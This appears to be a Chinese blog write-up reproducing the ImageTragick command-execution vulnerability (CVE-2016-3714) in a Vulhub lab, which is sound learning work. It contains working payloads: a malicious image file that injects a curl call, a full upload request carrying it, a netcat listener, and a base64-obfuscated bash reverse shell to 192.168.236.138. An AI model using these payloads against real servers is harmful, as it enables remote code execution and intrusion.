利用Vulnhub复现漏洞 - Imagetragick 命令执行漏洞(CVE-2016–3714)

Imagetragick 命令执行漏洞(CVE-2016–3714)

    • Vulnhub官方复现教程
      • 漏洞原理
    • 复现过程
      • 启动环境
      • 漏洞复现
    • 端口设置
        • 浏览器设置
        • BurpSuit设置
        • 上传POC
        • 反弹shell POC

Vulnhub官方复现教程

https://github.com/vulhub/vulhub/blob/master/imagemagick/imagetragick/README.zh-cn.md

漏洞原理

详情见 https://imagetragick.com/
或https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html

复现过程

启动环境

https://blog.csdn.net/JiangBuLiu/article/details/93853056
进入路径为

cd /root/vulhub/imagemagick/imagetragick

搭建及运行漏洞环境:

docker-compose build && docker-compose up -d

用时:3分钟
环境启动后,访问http://your-ip/可见有三个文件:

├── demo.php # 使用vul.jpg+identify命令测试 
├── upload.php # 支持用户进行上传,并将上传的文件传入PHP的imagick扩展,触发漏洞
└── vul.jpg # 一个简单的POC

利用Vulnhub复现漏洞 - Imagetragick 命令执行漏洞(CVE-2016–3714)_第1张图片

漏洞复现

首先访问http://your-ip/demo.php
在这里插入图片描述
命令并没有回显,但在docker容器中,已经成功得到/tmp/success文件:

docker-compose exec apache cat /tmp/success

利用Vulnhub复现漏洞 - Imagetragick 命令执行漏洞(CVE-2016–3714)_第2张图片

端口设置

浏览器设置

以火狐浏览器FireFox为例,在选项常规网络设置设置,将连接手动代理配置HTTP代理,填写127.0.0.1,端口为80
在这里插入图片描述

BurpSuit设置

ProxyOptionsProxy Listeners编辑监听端口为80
利用Vulnhub复现漏洞 - Imagetragick 命令执行漏洞(CVE-2016–3714)_第3张图片
并将ProxyIntercept点击成Intercept is on

上传POC

再访问http://your-ip/upload.php测试,上传POC文件
一些测试使用的POC:https://github.com/ImageTragick/PoCs
比如

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/joker.jpg"|curl "your-ip:4444)'
pop graphic-context

将POC代码保存为.jpg文件的POC文件
数据包如下(注意,我换了一个POC):

POST /upload.php HTTP/1.1
Host: your-ip
Content-Length: 321
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36
Content-Type: multipart/form-data; boundary=---------------------------293582696224464
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Connection: close

-----------------------------293582696224464
Content-Disposition: form-data; name="file_upload"; filename="CVE-2016-3714.jpg"
Content-Type: image/jpeg

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/joker.jpg"|curl "【your-ip】:3333)'
pop graphic-context
-----------------------------293582696224464--

监听3333端口

nc -lvnp 3333

发现your-ip:3333已经接收到http请求,【注意】修改IP,说明curl命令执行成功:
利用Vulnhub复现漏洞 - Imagetragick 命令执行漏洞(CVE-2016–3714)_第4张图片

反弹shell POC

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg?`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMjM2LjEzOC84ODg5IDA+JjE | base64 -d | bash`"||id " )'
pop graphic-context

利用Vulnhub复现漏洞 - Imagetragick 命令执行漏洞(CVE-2016–3714)_第5张图片
【注意】echo后是经过base64编码的/bin/bash -i >& /dev/tcp/192.168.236.138/8889 0>&1,请根据自己的IP地址更换base64编码
在这里插入图片描述

你可能感兴趣的:(渗透)